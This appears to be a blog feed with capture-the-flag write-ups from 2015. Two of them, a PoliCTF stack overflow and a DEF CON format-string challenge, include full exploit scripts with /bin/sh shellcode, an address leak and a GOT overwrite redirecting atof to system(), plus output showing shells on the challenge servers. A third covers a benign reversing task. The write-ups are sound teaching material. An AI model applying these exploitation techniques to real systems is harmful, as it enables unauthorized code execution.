<![CDATA[morganz's blog]]> 2016-12-16T11:46:42-06:00 http://blog.morganz.me/ Octopress <![CDATA[PoliCTF 2015 Pwnable150 John's Library Writeup]]> 2015-07-14T18:59:02-05:00 http://blog.morganz.me/blog/2015/07/14/polictf-2015-pwnable150-johns-library-writeup The server (download) is a 32-bit non-stripped binary. When we connect to the server, we got three options:

1
2
3
4
5

Welcome to the jungle library mate! Try to escape!!
 
 r - read from library
 a - add element
 u - exit

Let’s see what the first two options do:

read_from_library
1
2
3
4
5
6
7
8
9
10
11

int read_from_library(int arg_0)
{
  int v2;

  printf("Insert the index of the book you want to read: ");
  fflush(stdout);
  __isoc99_scanf("%d", &v2);
  getchar();
  printf("%s", len[v2] + arg_0);
  return fflush(stdout);
}
add_element
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

int add_element_to_library(int a1)
{
  int result;
  int v2;

  puts("Hey mate! Insert how long is the book title: ");
  fflush(stdout);
  __isoc99_scanf("%d", &v2);
  getchar();
  if ( len[num] + v2 > 1024 )
  {
    puts("Hey you! what are you trying to do??");
    fflush(stdout);
    exit(-1);
  }
  ++num;
  gets((len[num - 1] + a1));
  result = num;
  len[num] = len[num - 1] + 1 + v2;
  return result;
}

Inside add_element_to_library(), we can see that there is a call to gets(), which is a dangerous function. The variable ‘a1’ is the address of a buffer, which is defined in main(), so naturally we can think of buffer overflow attack. Let’s examine the binary more closely inside gdb:

add_element
1
2
3
4
5
6
7

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
gdb-peda$

The NX is disabled, so the exploitation becomes straightforward: fill in the buffer (‘a1’) with shellcode, then replace the return address of main() (since the buffer is defined in main()) with the address of the shellcode. After that, we just need to select “u - exit” to return from main(). Then our shellcode gets executed.

Now the only problem is: how to get the address of the buffer/shellcode.

Inside read_from_library(), there is a call to printf():

snippet from read_from_library
1

printf("%s", len[v2] + arg_0);

The variable arg_0 is also the address of the buffer defined in main(), and ‘len’ is a global array of integers. Here we are able to print the content located at the address of the buffer (‘arg_0’) plus an offset (‘len[v2]’). Meanwhile, the offset (‘len[v2]’) can be controlled inside add_element_to_library():

snippet from add_element_to_library
1
2
3
4
5

__isoc99_scanf("%d", &v2);
...
++num;
...
len[num] = len[num - 1] + 1 + v2;

This shows that the current offset is determined in the previous call to add_element_to_library().

With all of those info, we can perform the following steps:

  • select “a - add element” to set the offset properly
  • select “r - read from library” to leak the address based on the offset set before and get the address of the buffer
  • select “a - add element” again to set the offset properly (here I choose to reset the offset to 0 )
  • select “a - add element” to send the shellcode concatenated with repeated addresses of the buffer (we need to make this long enough to overwrite the return address of main())
  • select “u - exit” to return from main() so that our shellcode gets executed

In order to leak the desired address info, we need to set the offset correctly in the first step. The call stack will look like this when the function gets() is called:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

+--------------------+
|         ...        | (higher addresses)
+--------------------+

+--------------------+ <-- start of stack frame of main()
|   return address   | <-- address we want to overwrite
+--------------------+
|   previous ebp     |
+--------------------+
|    the buffer      |
+--------------------+
|       ...          |
+--------------------+
|    the buffer      |
+--------------------+ <-- the address of the buffer

+--------------------+ <-- start of stack frame of add_element_to_library()
| addr of the buffer | <-- parameter of add_element_to_library()
+--------------------+
|   return address   | <-- the address of the instruction after calling add_element_to_library() in main() (0x08048622)
+--------------------+
|   ebp of main()    |
+--------------------+
|       ...          |
+--------------------+
|(frame of gets()..) |
+--------------------+

Since the stack grows from higher addresses to lower addresses, the offset we need is a negative number, and it can be found easily using gdb. (I leaked ebp of main() to calculate the address of the buffer, but obviously I can use the address of the buffer directly..)

Here are the code the and the result:

(johns-library.py) download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

import zio
import struct
import time

#T = ("127.0.0.1",4444)
T = ("library.polictf.it",80)
io = zio.zio(T)

off_addr_ebp = -35

#set offset
io.read_until("exit")
io.write("a\n")
io.read_until("title:")
io.write(str(off_addr_ebp-1) + "\n")
payload = "AAAA"
io.write(payload + "\n")

#get addr
io.read_until("exit")
io.write("r\n")
io.read_until("read:")
io.write("1\n")
io.read(1) #read 1 byte here
res = io.read(4)
addr_ebp = struct.unpack("<I",res)[0]
print "\nebp:",hex(addr_ebp)

#addr of buffer
addr_buf = addr_ebp - 1037
print 'addr buf:',hex(addr_buf)

#restore num
io.read_until("exit")
io.write("a\n")
io.read_until("title:")
io.write(str(-off_addr_ebp-2) + "\n")
payload = struct.pack("<I",addr_ebp)
payload += "\x01\x86\x04\x08"
io.write(payload + "\n")

#send shellcode
io.read_until("exit")
io.write("a\n")
io.read_until("title:")
io.write("2\n")
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" + \
        "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = "\x90" * 3 + payload

#print len(payload),"bytes"
io.write(payload+struct.pack("<I",addr_buf)*320 + "\n")
io.read_until("exit")
io.write("u\n")
io.interact()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

alpha@alpha-th:~$ python johns-library.py
...
ebp: 0xff81fd98
addr buf: 0xff81f98b
 
 r - read from library
 a - add element
 u - exit
a
Hey mate! Insert how long is the book title: 
33
�����
 
 r - read from library
 a - add element
 u - exit
a
 
 r - read from library
 a - add element
 u - exit
Hey mate! Insert how long is the book title: 
2
���1�Ph//shh/bin��PS���
                       ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
 
 r - read from library
 a - add element
 u - exit
u
id
uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)
cat /home/ctf/flag
flag{John_should_read_a_real_book_on_s3cur3_pr0gr4mm1ng}
]]> <![CDATA[DEF CON CTF Qualifier 2015 Wibbly Wobbly Timey Wimey Writeup]]> 2015-05-23T02:56:33-05:00 http://blog.morganz.me/blog/2015/05/23/def-con-ctf-qualifier-2015-wibbly-wobbly-timey-wimey-writeup This is my second time participating in DC qualifier, and it is really a fun experience.

This challenge (download) involves multiple steps. When we connect to the server, we need to play a game first.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

alpha@alpha-th:~$ nc wwtw_c3722e23150e1d5abbc1c248d99d718d.quals.shallweplayaga.me 2606
You(^V<>) must find your way to the TARDIS(T) by avoiding the angels(A).
Go through the exits(E) to get to the next room and continue your search.
But, most importantly, don't blink!
   012345678901234567890
00                    E
01                     
02  A                  
03               A     
04 A                   
05                     
06               A     
07                A    
08                     
09        V       A    
10                  A  
11                A    
12              A      
13                     
14       A      A      
15                     
16                     
17                     
18                     
19                     
Your move (w,a,s,d,q):

If we win the game five times, then we are asked to input a “TARDIS KEY”. If the input is correct, then “Welcome to the TARDIS!” is displayed and we can choose from two options.

1
2
3
4
5
6

TARDIS KEY: 
Welcome to the TARDIS!
Your options are: 
1. Turn on the console
2. Leave the TARDIS
Selection:

This is where we start looking for vulnerabilities.

In IDA, if we look at the routine sub_E3E, we can see that there is another option (“Dematerialize”) besides the two above.

routine sub_E3E
1
2
3
4
5
6
7
8
9
10

int sub_E3E()
{
  puts("Your options are: ");
  puts("1. Turn on the console");
  puts("2. Leave the TARDIS");
  if ( unk_50AC )
    puts("3. Dematerialize");
  printf("Selection: ");
  return fflush(stdout);
}

However, in order to display the option, we need to make the variable “unk_50AC” true. This happens in the routine sub_1205:

snippet from routine sub_1205
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

if ( LOBYTE(dword_50B0[0]) == 49 )        // 1
{
    LOBYTE(v4) = sub_E08();
    if ( v4 )
    {
        printf("The TARDIS console is online!");
        unk_50AC = 1;
        fflush(stdout);
    }
    else
    {
        printf("Access denied except between %s and %s\n", &v7, &v8);
        fflush(stdout);
    }
}

When we select the first option (“Turn on the console”), routine sub_E08 gets called and a comparison is made based on two timestamps:

routine sub_E08
1
2
3
4

BOOL sub_E08()
{
  return dword_50A4 > 1431907180 && dword_50A4 <= 1431907199;
}

If the variable dword_50A4 does not fit between the two values, then “Access denied except between May 17 2015 23:59:40 GMT and May 18 2015 00:00:00 GMT” is displayed. If it fits, then we can choose the third option (“Dematerialize”), and routine sub_1027 gets called:

snippet from routine sub_1205
1
2
3
4
5
6
7
8
9
10
11
12

if ( LOBYTE(dword_50B0[0]) == 51 )      // 3
{
    if ( unk_50AC )
    {
        sub_1027();
    }
    else
    {
        puts("Invalid");
        fflush(stdout);
    }
}
snippet from routine sub_1027
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

int sub_1027()
{
    ...
    while ( 1 )
    {
        ...
        v0 = atof(&s);
        v3 = atof(nptr + 1);
        printf("%f, %f\n", v0, v3);
        if ( 51.492137 != v0 || -0.192878 != v3 )
            break;
        printf("Coordinate ");
        printf(&s);
        ...
    }
    printf("You safely travel to coordinates %s\n", &s);
    ...
    return result;
}

Does “printf(&s)” look suspicious? It could be an uncontrolled format string! Since the buffer itself can be accessed (with enough “%x”, for example), we can pretty much do arbitrary read and write in the memory. But what should we write and where should we write to? It turns outs we do not need to look far: since “&s” is passed as a parameter to atof() function, we can replace the address of atof() with the address of system() in relocation table. Then we can execute any commands we want (e.g. sh). The address of atof() can be accessed from the function’s relocation table entry at run time, so we can exploit the format string vulnerabiliry to overwrite it.

Now there is only one thing left: how do we defeat the timestamp check in the routine sub_E08 above? If we look at the routine sub_BCB, the variable dword_50A4 (which is used for timestamp comparison) can be controlled if we can controlled dword_50B0.

snippet from routine sub_BCB
1
2
3
4
5
6
7
8

size_t sub_BCB()
{
    ...
    v3 = read(dword_50B0[2], &buf, 4u);
    if ( v3 == 4 )
        dword_50A4 = buf;
    ...
}

Luckily, in routine sub_1205, we can read up to 9 bytes into the location pointed to by dword_50B0, which gives us the control of one byte in dword_50B0[2]:

snippet from routine sub_1205
1
2

if ( read(0, dword_50B0, 9u) <= 0 )
        break;

In other words, when we are asked to selected an option, if our input is something like “1aaaaaaa\x00”(9 bytes in total, and the last byte is 0x00), then we will be able to read four bytes from standard input into the location pointed to by “buf”, and those four bytes will be treated as an integer and assigned to dword_50A4, which is used for the timestamp check.

In summary, in order to get the flag, we need to perform the following steps:

  • win the game five times
  • input correct “TARDIS KEY”
  • input “1aaaaaaa\x00”(or something similar) to set the array dword_50B0
  • input four bytes to set the variable dword_50A4 so that it is something between 1431907180 and 1431907199 when treated as an integer
  • select the option “Dematerialize”, and use the format string vulnerability to reveal the address of system()
  • overwrite the address of atof() with the address of system() in relocation table by using the format string vulnerability
  • when asked to input coordinates again, we can open a shell by inputing “,sh”

For playing the game, I use a very simple algorithm: going vertically first to get into the same row as the target, then going horizontally (or going horizontally first then going vertically). This does not succeed every time, but it has a good chance to go through five times in a row (We can play multiple times, right?). The “TARDIS KEY” comes directly from the binary, so it is fixed every time. We can get this byte by byte from gdb, and it is: UeSlhCAGEp.

Here are the code and the result:

(wwtw.py) download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136

import zio
import time
import struct

def parse(io):
    '''
    return a 2d array
    '''
    io.read_until("90\n")
    m = []
    for line in range(20):
        line = io.read_until("\n")
        m.append(line[3:-1])
    return m

def get_path(m, me, ET, p1, p2):
    '''
    compare two possible paths
    '''
    p1_head = True
    for i in range(min(me[1],ET[1]),max(me[1],ET[1])):
        if m[me[0]][i] == 'A':
            p1_head = False
    for i in range(min(me[0],ET[0]),max(me[0],ET[0])):
        if m[i][ET[1]] == 'A':
            p1_head = False
    if p1_head:
        return p1+p2
    else:
        return p2+p1

def move(m):
    '''
    return a string for moving
    '''
    ret = ''
    me = (0,0)
    ET = (0,0)
    for i, row in enumerate(m):
        for j, c in enumerate(row):
            if c == ">" or c == "<" or c == "^" or c == 'V':
                me = (i,j)
            elif c == 'E' or c == 'T':
                ET = (i,j)

    #print ET,me
    shifty = abs(ET[0]-me[0])
    shiftx = abs(ET[1]-me[1])
    if ET[0] >= me[0] and ET[1] >= me[1]:
        p = get_path(m,me,ET,'d'*shiftx,'s'*shifty)
    elif ET[0] >= me[0] and ET[1] < me[1]:
        p = get_path(m,me,ET,'a'*shiftx,'s'*shifty)
    elif ET[0] <= me[0] and ET[1] >= me[1]:
        p = get_path(m,me,ET,'d'*shiftx,'w'*shifty)
    else:
        p = get_path(m,me,ET,'a'*shiftx,'w'*shifty)
    return p


T = ("wwtw_c3722e23150e1d5abbc1c248d99d718d.quals.shallweplayaga.me",2606)
#T = ("127.0.0.1",4444)
io = zio.zio(T)
io.read_until("blink!")

#play the game
for i in range(5):
    m = parse(io)
    moves =  move(m)
    for m in moves:
        io.write(m+'\n')
        io.read_until(':')
    if i < 4:
        io.read_until("...")

#TARDIS KEY
key = "UeSlhCAGEp"
io.read_until("KEY")
io.write(key+'\n')

#timestamp check
io.read_until("Selection:")
io.write("1aaaaaaa\x00\n")
time.sleep(2)
io.write("v+YU\n") #defeat the timestamp check
time.sleep(1)
io.write("1\n")
io.write("1aaaaaaa\x07\n") #set the fd back so we don't need to write something every 2s
io.read_until('Dematerialize')
io.read_until('Dematerialize')
io.read_until('Dematerialize')

##base
time.sleep(1)
io.write("3\n")
time.sleep(1)
io.read_until("Coordinates:")
payload  ="51.492137,-0.192878zz"+"%08x."*10 +"\n"
io.write(payload)
ret = io.read_until('again')
addr1  = ret.split(".")[11]
addr2  = ret.split(".")[12]
offset = 4032
base = int(addr1,16)+offset
io.read_until("Coordinates:")
time.sleep(2)

##read addr, since we don't have system() in relocation table, we start from read()
payload  = "51.492137,-0.192878z"
payload += struct.pack("<I",base+0x5010)  #read reloc table
payload += ( "%08x."*19 +"%s" + "\n")
io.write(payload)
time.sleep(2)
ret = io.read_until("is")
ret = ret.split(".")[-1].strip()
ret = ret.split()[0][:4]
#print len(ret),"read",hex(struct.unpack("<I",ret)[0])
addr_read = struct.unpack("<I",ret)[0]

##system addr, the offset is based on the corresponding version of libc
addr_system = addr_read - 633408

##write address of system to atof's relo
relo_atof = base+0x5080
str_system = struct.pack("<I",addr_system)
tmp = str_system[:2][::-1].encode("hex")
system1 = int(str_system[:2][::-1].encode("hex"),16)
system2 = int(str_system[2:][::-1].encode("hex"),16)
io.read_until("Coordinates:")
payload  = "51.492137,-0.192878z"
payload += struct.pack("<I",relo_atof)
payload += struct.pack("<I",relo_atof+2) #can be any random 4 bytes
payload += struct.pack("<I",relo_atof+2)
payload += ( "%08x."*18 +"%"+str(system1+186-372-8)+ "x" + "%n"+ "%"+str(system2-system1) +"x%n" + "\n")
io.write(payload)

io.interact()#after this, calling atof() becomes calling system(). we can manually input the command

1
2
3
4
5
6
7
8
9
10
11
12

alpha@alpha-th:~$ python wwtw.py
...
...
f774b082 is occupied by another TARDIS.  Materializing there would rip a hole in time and space. Choose again.  
Coordinates: ,sh
sh: 1: ,sh: not found

Unauthorized occupant detected...goodbye
id
uid=1001(wwtw) gid=1001(wwtw) groups=1001(wwtw)
cat /home/wwtw/flag
The flag is: Would you like a Jelly Baby? !@()*ASF)9UW$askjal
]]> <![CDATA[ASIS CTF Quals 2015 Re100 Tera Writeup]]> 2015-05-11T20:06:13-05:00 http://blog.morganz.me/blog/2015/05/11/asis-ctf-quals-2015-re100-tera-writeup Running the program shows a progress bar and gives a core dump:

1
2
3

alpha@alpha-th:~/Copy/ctf/asis2015/re/100$ ./tera_85021482a68d6ed21892ea99b84f13f3
Please wait until my job be done 
%0.0000000 [                          Segmentation fault (core dumped)

Let’s look at the output from strace (other lines are omitted):

1
2
3
4
5
6
7
8

alpha@alpha-th:~/Copy/ctf/asis2015/re/100$ strace ./tera_85021482a68d6ed21892ea99b84f13f3 > /dev/null 
...
open("/tmp/.tera", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 4
connect(6, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("134.79.129.105")}, 16) = -1 EINPROGRESS (Operation now in progress)
sendto(6, "GET /simulations/ds14_a/ds14_a_1"..., 99, MSG_NOSIGNAL, NULL, 0) = 99
recvfrom(6, "HTTP/1.1 404 Not Found\r\nDate: Tu"..., 16384, 0, NULL, NULL) = 506
write(4, "<!DOCTYPE HTML PUBLIC \"-//IETF//"..., 325) = 325
open("/tmp/.tera", O_RDONLY)            = 4

Segmentation fault happens right after the second open(), so something might be wrong while reading the file. From the output above we can see that the program sends GET request to 134.79.129.105 to fetch a file, and the response (starting with ‘<!DOCTYPE HTML PUBLIC’) is probably written to /tmp/.tera. Let’s open /tmp/.tera:

1
2
3
4
5
6
7
8
9

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /simulations/ds14\_a/ds14\_a\_1.0000ª×} was not found on this server.</p>
<hr>
<address>Apache/2.2.15 (Red Hat) Server at darksky.slac.stanford.edu Port 80</address>
</body></html>

As we can see, the response is indeed written to /tmp.tera, and we also know the domain of the ip address. But why is it 404 Not found? Using gdb to set a break point before the function curl_easy_setopt() to examine its arguments, from which we can know the full URL of the file:

1

"http://darksky.slac.stanford.edu/simulations/ds14_a/ds14_a_1.0000\252\327}"

Alright, let’s go to “http://darksky.slac.stanford.edu/simulations/ds14_a/”:

There is indeed a file called ds14_a_1.0000 (we got response 404 because there are two ending non-ascii characters. We can change \252 to \0 to make the program work), and its size is 31T. Downloading the whole file doesn’t seem to be realistic, so let’s open IDA to see what the program does after downloading. Reading towards the end of sub_400F19 routine, we can see the following code:

1
2
3
4
5
6
7
8
9

v39 = fopen(filename, "r");
v38 = n - 1;
v16 = n;
v17 = 0LL;
v14 = alloca(16 * ((n + 15) / 0x10));
ptr = &v16;
fread(&v16, 1uLL, n, v39);
for ( m = 0LL; v47 > m; ++m )
  printf("%c\n", (unsigned int)(char)(*((_BYTE *)ptr + v35[m]) ^ LOBYTE(v18[m])));

n is defined earlier in the same routine, and it is 34359739943392 (this also explains the seg fault earlier, since the file containing “404 Not found” is much smaller than this). It looks like the program wants to load the whole file into memory, and uses xor between some bytes (depends on array v35) of the file and bytes in array v18. Again, loading 31T into memory is not realistic, so we should use other ways to access the file without downloading it. After looking around at the website, I found that they have a bitbucket repo and a tutorial for accessing the data:

1
2
3

import thingking
ds14_a = thingking.HTTPArray("http://darksky.slac.stanford.edu/simulations/ds14_a/ds14_a_1.0000")
print ds14_a[10] #print the 10th byte

After installing python package thingking, we can access arbitrary bytes of the file without downloading it :) Then the only thing left is to reverse the two arrays (v35 and v18 above). Luckily, they are constructed directly from the values in memory location: 4199552 and 4200064. In gdb:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

gdb-peda$ x/40gx  4199552
0x401480: 0x0000004c89617cf4  0x000000b4b5e95f83
0x401490: 0x000000e4598d686b  0x00000136a62674ef
0x4014a0: 0x000001837a65beb7  0x0000019fa831467c
0x4014b0: 0x000002a6202acd01  0x000004493f10645e
0x4014c0: 0x000004cdce6d65e4  0x000005028ec8de7e
0x4014d0: 0x0000056219504a56  0x000005bd2d191db8
0x4014e0: 0x0000072bd5d02592  0x0000073dee6d04fe
0x4014f0: 0x00000a25e5afe320  0x00000a73b464fb9e
0x401500: 0x00000b6259f6e34b  0x00000b9aa45094dc
0x401510: 0x00000bc548e0ea39  0x00000c7ac41ecc56
0x401520: 0x00000c85f073fb8b  0x00000c92536a9116
0x401530: 0x00000d930be6dabf  0x00000e61b989da40
0x401540: 0x00000f37999ca268  0x00000fb7c59b9d1f
0x401550: 0x00001018d3a3939d  0x000010202aed0369
0x401560: 0x000010e8fb926cf3  0x0000113bc38ea065
0x401570: 0x000013257504044f  0x000014fb0612dc3c
0x401580: 0x000016572370da92  0x0000173d75634441
0x401590: 0x00001b9d0f2d9374  0x00001ba90de42d8e
0x4015a0: 0x00001be9ef4c8f3e  0x00001bfda4b84e00
0x4015b0: 0x0000000000000000  0x0000000000000000

gdb-peda$ x/40wx 4200064
0x401680: 0x000000f2  0x0000009a  0x00000083  0x00000012
0x401690: 0x00000039  0x00000045  0x000000e7  0x000000f4
0x4016a0: 0x0000006f  0x000000a1  0x00000006  0x000000e7
0x4016b0: 0x00000095  0x000000f3  0x00000090  0x000000f2
0x4016c0: 0x000000f0  0x0000006b  0x00000033  0x000000e3
0x4016d0: 0x000000a8  0x00000078  0x00000037  0x000000d5
0x4016e0: 0x00000044  0x00000039  0x00000061  0x0000008a
0x4016f0: 0x000000fb  0x00000022  0x000000fa  0x0000009e
0x401700: 0x000000e7  0x00000011  0x00000039  0x000000a6
0x401710: 0x000000f3  0x00000033  0x00000000  0x40590000

After having the values of those 2 arrays, we can do xor operations to get the flag. There is a piece of python code for this:

(tera.py) download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

v35 = [
        0x0000004c89617cf4, 0x000000b4b5e95f83,
        0x000000e4598d686b, 0x00000136a62674ef,
        0x000001837a65beb7, 0x0000019fa831467c,
        0x000002a6202acd01, 0x000004493f10645e,
        0x000004cdce6d65e4, 0x000005028ec8de7e,
        0x0000056219504a56, 0x000005bd2d191db8,
        0x0000072bd5d02592, 0x0000073dee6d04fe,
        0x00000a25e5afe320, 0x00000a73b464fb9e,
        0x00000b6259f6e34b, 0x00000b9aa45094dc,
        0x00000bc548e0ea39, 0x00000c7ac41ecc56,
        0x00000c85f073fb8b, 0x00000c92536a9116,
        0x00000d930be6dabf, 0x00000e61b989da40,
        0x00000f37999ca268, 0x00000fb7c59b9d1f,
        0x00001018d3a3939d, 0x000010202aed0369,
        0x000010e8fb926cf3, 0x0000113bc38ea065,
        0x000013257504044f, 0x000014fb0612dc3c,
        0x000016572370da92, 0x0000173d75634441,
        0x00001b9d0f2d9374, 0x00001ba90de42d8e,
        0x00001be9ef4c8f3e, 0x00001bfda4b84e00
        ]

v18 = [
        0x000000f2,0x0000009a,0x00000083,0x00000012,
        0x00000039,0x00000045,0x000000e7,0x000000f4,
        0x0000006f,0x000000a1,0x00000006,0x000000e7,
        0x00000095,0x000000f3,0x00000090,0x000000f2,
        0x000000f0,0x0000006b,0x00000033,0x000000e3,
        0x000000a8,0x00000078,0x00000037,0x000000d5,
        0x00000044,0x00000039,0x00000061,0x0000008a,
        0x000000fb,0x00000022,0x000000fa,0x0000009e,
        0x000000e7,0x00000011,0x00000039,0x000000a6,
        0x000000f3,0x00000033
        ]

import thingking
ds14_a = thingking.HTTPArray("http://darksky.slac.stanford.edu/simulations/ds14_a/ds14_a_1.0000")

print 'start..'
for m in range(38):
    b = (ds14_a[v35[m]][0][0])
    if len(b) == 0:
        print chr(v18[m])
        continue
    print chr(ord(b) ^ v18[m])

running the code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

alpha@alpha-th:~/Copy/ctf/asis2015/re/100$ python tera.py 
start..
A
S
I
S
{
3
1
4
9
a
d
5
d
3
6
2
9
5
8
1
b
1
7
2
7
9
c
c
8
8
9
2
2
2
b
9
3
}

then we get the flag: ASIS{3149ad5d3629581b17279cc889222b93}

This is my first writeup. Any comments are welcome :)

]]> <![CDATA[Hello World]]> 2015-04-24T02:08:44-05:00 http://blog.morganz.me/blog/2015/04/24/hello-world hi, I’m morgan.

]]>